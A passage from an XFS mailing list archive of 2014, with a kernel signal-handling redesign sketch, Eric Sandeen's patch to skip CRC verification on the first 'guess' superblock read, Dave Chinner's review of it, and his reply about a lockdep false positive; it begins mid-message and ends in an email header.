Oleg don't > do it first. OK, having looked at that stuff... 1) things become much more compact if we finish conversion to get_signal() first. Callers of get_signal_to_deliver() have k_sigaction and siginfo in pair of local variables; switching to ksignal will be neutral wrt stack footprint (it just gathers those two in one struct) *and* we are getting rid of passing struct siginfo * around. With that done, we can change struct ksignal ->info with zero impact on the code in arch/*, and conversion makes sense on its own. In the mainline we have it done for alpha, arm, openrisc, sparc and x86. I've just put together preliminary (and completely untested) patches for arm64, m68k and um; doing the rest won't take long, but they'll obviously need to be tested. It's a fairly safe conversion; I'd expect the worst bugs to be typos. 2) struct small_siginfo ought to go into linux/signal.h. Contains signal number, si_code (usually 0), uid, pid and (often NULL) pointer to struct sigqueue. Overall: 20 or 24 bytes. In struct coredump_params we should replace ->siginfo with pointer to struct small_siginfo. Ditto for task_struct ->last_siginfo. In struct ksignal ->info becomes struct small_siginfo. copy_siginfo_to_user{,32}() gets switched to struct small_siginfo *, so does do_coredump(), ptrace_signal(), ptrace_stop(), ptrace_getsiginfo(), ptrace_setsiginfo(), collect_signal(), __dequeue_signal(), dequeue_signal(), signalfd_dequeue() and do_sigtimedwait(). New primitive: assign_sigqueue(small_info, sigqueue). Frees small_info->q and assigns a new value to it. When ptrace_setsiginfo() is given a non-plain siginfo (si_code != SI_USER, that is), it should a allocate struct sigqueue, copy the sucker there and give it to assign_sigqueue(). Plain ones just get uid/pid/signo copied and NULL passed to assign_sigqueue(). code in ptrace_signal() under if (signr != info->si_signo) should start with assign_sigqueue(info, NULL). specific_send_sig_info() in ptrace_signal() is rather clumsy to handle; not sure what's the best way to deal with that. In any case, ptrace_signal() deciding to return 0 should take care of info->q - either copy and free the original, or actually try to reuse the sucker. Either way, info->q should become NULL. get_signal_to_deliver() should do assign_sigqueue(info, NULL) before the call of do_group_exit(). arch_ptrace_stop_needed() can be left as-is; it's a macro and none of the instances look at the info argument at all. The same goes for arch_ptrace_stop(). signalfd_read() should do assign_sigqueue(&info, NULL) right after signalfd_copyinfo(). rt_sigtimedwait(2) and its compat variant should do the same right after copy_siginfo_to_user{,32}(). TP'ed stuff is a mess, as usual. AFAICS, TP_STORE_SIGINFO() needs to be split into a variant taking siginfo (on trace_signal_generate side) and one taking small_siginfo (for trace_signal_deliver). get_signal() should do assign_sigqueue(&ksig->info, NULL) if it returns false and use task_work_add() to schedule info->q for freeing otherwise. Overall, aside of the need to complete arch/* conversion, the only unfinished part is this: /* If the (new) signal is now blocked, requeue it. */ if (sigismember(¤t->blocked, signr)) { specific_send_sig_info(signr, info, current); signr = 0; } in the end of ptrace_signal(). Sure, we can add a local struct siginfo in that if, fill it if needed and pass its address or &info->q->info to specific_send_sig_info(), but that feels kludgy... Hell knows, I'll look a bit more into that. From sandeen@redhat.com Thu Feb 13 15:42:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 617887F55 for ; Thu, 13 Feb 2014 15:42:59 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 44CC98F8039 for ; Thu, 13 Feb 2014 13:42:55 -0800 (PST) X-ASG-Debug-ID: 1392327771-04cb6c6de136fe70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CVSkh26kZoprgHcm for ; Thu, 13 Feb 2014 13:42:52 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1DLgoVd032480 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 13 Feb 2014 16:42:50 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1DLgnvd005649 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Thu, 13 Feb 2014 16:42:50 -0500 Message-ID: <52FD3C59.3050400@redhat.com> Date: Thu, 13 Feb 2014 15:42:49 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs: skip verification on initial "guess" superblock read X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: skip verification on initial "guess" superblock read Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392327772 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When xfs_readsb() does the very first read of the superblock, it makes a guess at the length of the buffer, based on the sector size of the underlying storage. This may or may not match the filesystem sector size in sb_sectsize, so we can't i.e. do a CRC check on it; it might be too short. In fact, mounting a filesystem with sb_sectsize larger than the device sector size will cause a mount failure if CRCs are enabled, because we are checksumming a length which exceeds the buffer passed to it. The only really foolproof way I see around this is to *always* read the superblock twice in xfs_readsb(); first with a guess, and again with a length as indicated by the superblock's sb_sectsize. The verifier for this guessed length buffer is a no-op; we'll do proper verification on the 2nd time around. Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 02df7b4..b4413fe 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -282,22 +282,28 @@ xfs_readsb( struct xfs_sb *sbp = &mp->m_sb; int error; int loud = !(flags & XFS_MFSI_QUIET); + const struct xfs_buf_ops *buf_ops; ASSERT(mp->m_sb_bp == NULL); ASSERT(mp->m_ddev_targp != NULL); /* + * For the initial read, we must guess at the sector + * size based on the block device. It's enough to + * get the sb_sectsize out of the superblock and + * then reread with the proper length. + */ + sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); + buf_ops = &xfs_sb_guess_buf_ops; + + /* * Allocate a (locked) buffer to hold the superblock. * This will be kept around at all times to optimize * access to the superblock. */ - sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); - reread: bp = xfs_buf_read_uncached(mp->m_ddev_targp, XFS_SB_DADDR, - BTOBB(sector_size), 0, - loud ? &xfs_sb_buf_ops - : &xfs_sb_quiet_buf_ops); + BTOBB(sector_size), 0, buf_ops); if (!bp) { if (loud) xfs_warn(mp, "SB buffer read failed"); @@ -328,12 +334,13 @@ reread: } /* - * If device sector size is smaller than the superblock size, - * re-read the superblock so the buffer is correctly sized. + * Re-read the superblock so the buffer is correctly sized, + * and properly verified. */ - if (sector_size < sbp->sb_sectsize) { + if (buf_ops == &xfs_sb_guess_buf_ops) { xfs_buf_relse(bp); sector_size = sbp->sb_sectsize; + buf_ops = loud ? &xfs_sb_buf_ops : &xfs_sb_quiet_buf_ops; goto reread; } diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 5071ccb..abbbbb7 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -653,6 +653,20 @@ xfs_sb_quiet_read_verify( /* quietly fail */ xfs_buf_ioerror(bp, EWRONGFS); } +/* + * The initial superblock read from xfs_readsb only guesses at + * the sector size based on the block device sector size, so + * we may get here with a buffer length shorter than the filesystem + * sb_sectsize. We can't properly verify it, so just return, + * and xfs_readsb will call the proper verifer with a real length + * on the 2nd time around. + */ +static void +xfs_sb_guess_read_verify( + struct xfs_buf *bp) +{ + return; +} static void xfs_sb_write_verify( @@ -680,16 +694,24 @@ xfs_sb_write_verify( offsetof(struct xfs_sb, sb_crc)); } +/* Normal read verifier */ const struct xfs_buf_ops xfs_sb_buf_ops = { .verify_read = xfs_sb_read_verify, .verify_write = xfs_sb_write_verify, }; +/* Quiet verifier for MS_SILENT mounts; ignore non-XFS magic */ const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { .verify_read = xfs_sb_quiet_read_verify, .verify_write = xfs_sb_write_verify, }; +/* The very first superblock read must guess at the size */ +const struct xfs_buf_ops xfs_sb_guess_buf_ops = { + .verify_read = xfs_sb_guess_read_verify, + .verify_write = xfs_sb_write_verify, +}; + /* * xfs_mount_common * diff --git a/fs/xfs/xfs_shared.h b/fs/xfs/xfs_shared.h index 8c5035a..a4294a6 100644 --- a/fs/xfs/xfs_shared.h +++ b/fs/xfs/xfs_shared.h @@ -51,6 +51,7 @@ extern const struct xfs_buf_ops xfs_inode_buf_ra_ops; extern const struct xfs_buf_ops xfs_dquot_buf_ops; extern const struct xfs_buf_ops xfs_sb_buf_ops; extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; +extern const struct xfs_buf_ops xfs_sb_guess_buf_ops; extern const struct xfs_buf_ops xfs_symlink_buf_ops; /* From sandeen@sandeen.net Thu Feb 13 15:50:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B94D57F55 for ; Thu, 13 Feb 2014 15:50:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 800CD8F8037 for ; Thu, 13 Feb 2014 13:50:06 -0800 (PST) X-ASG-Debug-ID: 1392328200-04bdf0734c1de710001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id D7qQQOMTNWPuqJDp for ; Thu, 13 Feb 2014 13:50:01 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A8152651A8FE; Thu, 13 Feb 2014 15:50:00 -0600 (CST) Message-ID: <52FD3E08.8010500@sandeen.net> Date: Thu, 13 Feb 2014 15:50:00 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: skip verification on initial "guess" superblock read References: <52FD3C59.3050400@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: skip verification on initial "guess" superblock read In-Reply-To: <52FD3C59.3050400@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392328200 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145090 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Note, this one might need to be in 3.14 fixes as well, if [PATCH] xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb is queued up; with that patch in place, we'll fail mounting i.e. a 4K sector size FS on a 512 sector disk, because we'll try to do a 4K metadata checksum on a 512 byte buffer... :/ I had thought about just skipping the CRC if BBTOB(bp->b_length) != sb->sb_sectsize, but it seemed like other superblock read paths would wind up skipping CRCs based what would be corruption. By doing this (ugly?) no-op verifier, at least this first (short?) sb read is under complete control, with no guessing required in the normal verifier. -Eric On 2/13/14, 3:42 PM, Eric Sandeen wrote: > When xfs_readsb() does the very first read of the superblock, > it makes a guess at the length of the buffer, based on the > sector size of the underlying storage. This may or may > not match the filesystem sector size in sb_sectsize, so > we can't i.e. do a CRC check on it; it might be too short. > > In fact, mounting a filesystem with sb_sectsize larger > than the device sector size will cause a mount failure > if CRCs are enabled, because we are checksumming a length > which exceeds the buffer passed to it. > > The only really foolproof way I see around this is to > *always* read the superblock twice in xfs_readsb(); > first with a guess, and again with a length as indicated > by the superblock's sb_sectsize. The verifier for > this guessed length buffer is a no-op; we'll do proper > verification on the 2nd time around. > > Signed-off-by: Eric Sandeen > --- > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index 02df7b4..b4413fe 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -282,22 +282,28 @@ xfs_readsb( > struct xfs_sb *sbp = &mp->m_sb; > int error; > int loud = !(flags & XFS_MFSI_QUIET); > + const struct xfs_buf_ops *buf_ops; > > ASSERT(mp->m_sb_bp == NULL); > ASSERT(mp->m_ddev_targp != NULL); > > /* > + * For the initial read, we must guess at the sector > + * size based on the block device. It's enough to > + * get the sb_sectsize out of the superblock and > + * then reread with the proper length. > + */ > + sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); > + buf_ops = &xfs_sb_guess_buf_ops; > + > + /* > * Allocate a (locked) buffer to hold the superblock. > * This will be kept around at all times to optimize > * access to the superblock. > */ > - sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); > - > reread: > bp = xfs_buf_read_uncached(mp->m_ddev_targp, XFS_SB_DADDR, > - BTOBB(sector_size), 0, > - loud ? &xfs_sb_buf_ops > - : &xfs_sb_quiet_buf_ops); > + BTOBB(sector_size), 0, buf_ops); > if (!bp) { > if (loud) > xfs_warn(mp, "SB buffer read failed"); > @@ -328,12 +334,13 @@ reread: > } > > /* > - * If device sector size is smaller than the superblock size, > - * re-read the superblock so the buffer is correctly sized. > + * Re-read the superblock so the buffer is correctly sized, > + * and properly verified. > */ > - if (sector_size < sbp->sb_sectsize) { > + if (buf_ops == &xfs_sb_guess_buf_ops) { > xfs_buf_relse(bp); > sector_size = sbp->sb_sectsize; > + buf_ops = loud ? &xfs_sb_buf_ops : &xfs_sb_quiet_buf_ops; > goto reread; > } > > diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c > index 5071ccb..abbbbb7 100644 > --- a/fs/xfs/xfs_sb.c > +++ b/fs/xfs/xfs_sb.c > @@ -653,6 +653,20 @@ xfs_sb_quiet_read_verify( > /* quietly fail */ > xfs_buf_ioerror(bp, EWRONGFS); > } > +/* > + * The initial superblock read from xfs_readsb only guesses at > + * the sector size based on the block device sector size, so > + * we may get here with a buffer length shorter than the filesystem > + * sb_sectsize. We can't properly verify it, so just return, > + * and xfs_readsb will call the proper verifer with a real length > + * on the 2nd time around. > + */ > +static void > +xfs_sb_guess_read_verify( > + struct xfs_buf *bp) > +{ > + return; > +} > > static void > xfs_sb_write_verify( > @@ -680,16 +694,24 @@ xfs_sb_write_verify( > offsetof(struct xfs_sb, sb_crc)); > } > > +/* Normal read verifier */ > const struct xfs_buf_ops xfs_sb_buf_ops = { > .verify_read = xfs_sb_read_verify, > .verify_write = xfs_sb_write_verify, > }; > > +/* Quiet verifier for MS_SILENT mounts; ignore non-XFS magic */ > const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { > .verify_read = xfs_sb_quiet_read_verify, > .verify_write = xfs_sb_write_verify, > }; > > +/* The very first superblock read must guess at the size */ > +const struct xfs_buf_ops xfs_sb_guess_buf_ops = { > + .verify_read = xfs_sb_guess_read_verify, > + .verify_write = xfs_sb_write_verify, > +}; > + > /* > * xfs_mount_common > * > diff --git a/fs/xfs/xfs_shared.h b/fs/xfs/xfs_shared.h > index 8c5035a..a4294a6 100644 > --- a/fs/xfs/xfs_shared.h > +++ b/fs/xfs/xfs_shared.h > @@ -51,6 +51,7 @@ extern const struct xfs_buf_ops xfs_inode_buf_ra_ops; > extern const struct xfs_buf_ops xfs_dquot_buf_ops; > extern const struct xfs_buf_ops xfs_sb_buf_ops; > extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; > +extern const struct xfs_buf_ops xfs_sb_guess_buf_ops; > extern const struct xfs_buf_ops xfs_symlink_buf_ops; > > /* > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From david@fromorbit.com Thu Feb 13 16:08:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B97987F55 for ; Thu, 13 Feb 2014 16:08:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7FB8A304059 for ; Thu, 13 Feb 2014 14:08:19 -0800 (PST) X-ASG-Debug-ID: 1392329296-04bdf051651f140001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Phr99Lsksr8iBh3D for ; Thu, 13 Feb 2014 14:08:17 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswJAMxB/VJ5LJYe/2dsb2JhbABRCIMGOLpUhVCBGRd0giUBAQEDAQEBASQTHBgLEAgDGAklDwUTEgMhE4d9Bw7IQhcWjGKBKw1JB4Q4BJgrkiSDQSiBLQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 14 Feb 2014 08:38:15 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WE4S4-0004lS-5l; Fri, 14 Feb 2014 09:08:12 +1100 Date: Fri, 14 Feb 2014 09:08:12 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs: skip verification on initial "guess" superblock read Message-ID: <20140213220812.GI13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: skip verification on initial "guess" superblock read References: <52FD3C59.3050400@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FD3C59.3050400@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392329296 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145090 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 03:42:49PM -0600, Eric Sandeen wrote: > When xfs_readsb() does the very first read of the superblock, > it makes a guess at the length of the buffer, based on the > sector size of the underlying storage. This may or may > not match the filesystem sector size in sb_sectsize, so > we can't i.e. do a CRC check on it; it might be too short. > > In fact, mounting a filesystem with sb_sectsize larger > than the device sector size will cause a mount failure > if CRCs are enabled, because we are checksumming a length > which exceeds the buffer passed to it. > > The only really foolproof way I see around this is to > *always* read the superblock twice in xfs_readsb(); > first with a guess, and again with a length as indicated > by the superblock's sb_sectsize. The verifier for > this guessed length buffer is a no-op; we'll do proper > verification on the 2nd time around. We don't need a verifier for a "don't verify" read. Just pass in NULL to avoid verification completely. Also, you don't need to re-read the buffer to verify it unless the sector size was not what was predicted. All you need to do is call the verifier directly on the buffer in question, then attach it directly to the buffer. So no need for @xfs_sb_guess_buf_ops. :) Cheers, Dave. > > Signed-off-by: Eric Sandeen > --- > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > index 02df7b4..b4413fe 100644 > --- a/fs/xfs/xfs_mount.c > +++ b/fs/xfs/xfs_mount.c > @@ -282,22 +282,28 @@ xfs_readsb( > struct xfs_sb *sbp = &mp->m_sb; > int error; > int loud = !(flags & XFS_MFSI_QUIET); > + const struct xfs_buf_ops *buf_ops; > > ASSERT(mp->m_sb_bp == NULL); > ASSERT(mp->m_ddev_targp != NULL); > > /* > + * For the initial read, we must guess at the sector > + * size based on the block device. It's enough to > + * get the sb_sectsize out of the superblock and > + * then reread with the proper length. > + */ > + sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); > + buf_ops = &xfs_sb_guess_buf_ops; > + > + /* > * Allocate a (locked) buffer to hold the superblock. > * This will be kept around at all times to optimize > * access to the superblock. > */ > - sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); > - > reread: > bp = xfs_buf_read_uncached(mp->m_ddev_targp, XFS_SB_DADDR, > - BTOBB(sector_size), 0, > - loud ? &xfs_sb_buf_ops > - : &xfs_sb_quiet_buf_ops); > + BTOBB(sector_size), 0, buf_ops); > if (!bp) { > if (loud) > xfs_warn(mp, "SB buffer read failed"); > @@ -328,12 +334,13 @@ reread: > } > > /* > - * If device sector size is smaller than the superblock size, > - * re-read the superblock so the buffer is correctly sized. > + * Re-read the superblock so the buffer is correctly sized, > + * and properly verified. > */ > - if (sector_size < sbp->sb_sectsize) { > + if (buf_ops == &xfs_sb_guess_buf_ops) { > xfs_buf_relse(bp); > sector_size = sbp->sb_sectsize; > + buf_ops = loud ? &xfs_sb_buf_ops : &xfs_sb_quiet_buf_ops; > goto reread; > } > > diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c > index 5071ccb..abbbbb7 100644 > --- a/fs/xfs/xfs_sb.c > +++ b/fs/xfs/xfs_sb.c > @@ -653,6 +653,20 @@ xfs_sb_quiet_read_verify( > /* quietly fail */ > xfs_buf_ioerror(bp, EWRONGFS); > } > +/* > + * The initial superblock read from xfs_readsb only guesses at > + * the sector size based on the block device sector size, so > + * we may get here with a buffer length shorter than the filesystem > + * sb_sectsize. We can't properly verify it, so just return, > + * and xfs_readsb will call the proper verifer with a real length > + * on the 2nd time around. > + */ > +static void > +xfs_sb_guess_read_verify( > + struct xfs_buf *bp) > +{ > + return; > +} > > static void > xfs_sb_write_verify( > @@ -680,16 +694,24 @@ xfs_sb_write_verify( > offsetof(struct xfs_sb, sb_crc)); > } > > +/* Normal read verifier */ > const struct xfs_buf_ops xfs_sb_buf_ops = { > .verify_read = xfs_sb_read_verify, > .verify_write = xfs_sb_write_verify, > }; > > +/* Quiet verifier for MS_SILENT mounts; ignore non-XFS magic */ > const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { > .verify_read = xfs_sb_quiet_read_verify, > .verify_write = xfs_sb_write_verify, > }; > > +/* The very first superblock read must guess at the size */ > +const struct xfs_buf_ops xfs_sb_guess_buf_ops = { > + .verify_read = xfs_sb_guess_read_verify, > + .verify_write = xfs_sb_write_verify, > +}; > + > /* > * xfs_mount_common > * > diff --git a/fs/xfs/xfs_shared.h b/fs/xfs/xfs_shared.h > index 8c5035a..a4294a6 100644 > --- a/fs/xfs/xfs_shared.h > +++ b/fs/xfs/xfs_shared.h > @@ -51,6 +51,7 @@ extern const struct xfs_buf_ops xfs_inode_buf_ra_ops; > extern const struct xfs_buf_ops xfs_dquot_buf_ops; > extern const struct xfs_buf_ops xfs_sb_buf_ops; > extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; > +extern const struct xfs_buf_ops xfs_sb_guess_buf_ops; > extern const struct xfs_buf_ops xfs_symlink_buf_ops; > > /* > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 13 16:12:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7E7727F55 for ; Thu, 13 Feb 2014 16:12:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 52C288F8039 for ; Thu, 13 Feb 2014 14:12:06 -0800 (PST) X-ASG-Debug-ID: 1392329524-04bdf01d0b6cec0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id cT3Rz7XbqyGlHbX4 for ; Thu, 13 Feb 2014 14:12:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgJAO1C/VJ5LJYe/2dsb2JhbABZgwa7DIVQgRkXdIIlAQEFJxMcIxAIAw4KCSUPBSUDIROIBMhRFxaOIUIHhDgElEODaIpQEIdEg0EogS4 Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 14 Feb 2014 08:41:31 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WE4VE-0004lo-Ce; Fri, 14 Feb 2014 09:11:28 +1100 Date: Fri, 14 Feb 2014 09:11:28 +1100 From: Dave Chinner To: Christian Kujau Cc: xfs@oss.sgi.com Subject: Re: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected Message-ID: <20140213221128.GJ13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2: RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392329524 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145090 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 11:56:36AM -0800, Christian Kujau wrote: > On Wed, 12 Feb 2014 at 00:11, Christian Kujau wrote: > > After upgrading from 3.13-rc8 to 3.14-rc2 on this PowerPC G4 machine, this > > happened: > > Yesterday a slighly different lockdep warning was printed: > > ========================================================= > [ INFO: possible irq lock inversion dependency detected ] > 3.14.0-rc2 #1 Tainted: G W > --------------------------------------------------------- > kswapd0/279 just changed the state of lock: > (&(&ip->i_lock)->mr_lock){++++.?}, at: [] > xfs_free_eofblocks+0xe8/0x2e0 > but this lock took another, RECLAIM_FS-unsafe lock in the past: > (&mm->mmap_sem){++++++} > > and interrupts could create inverse lock ordering between them. False positive - it's confusing directory locking orders with regular files. Already reported, but the devs responsible for the lockdep regression have not responded. Looks like I'll have to fix it myself. I'll see what I can do today. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Thu Feb 13 16:12:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 243777F5A for ; Thu, 13 Feb 2014 16:12:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D9F33304043 for ; Thu, 13 Feb 2014 14:12:13 -0800 (PST) X-ASG-Debug-ID: 1392329532-04bdf051651f570001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id BDI0eJY0Sv29sLoA for ; Thu, 13 Feb 2014 14:12:13 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP 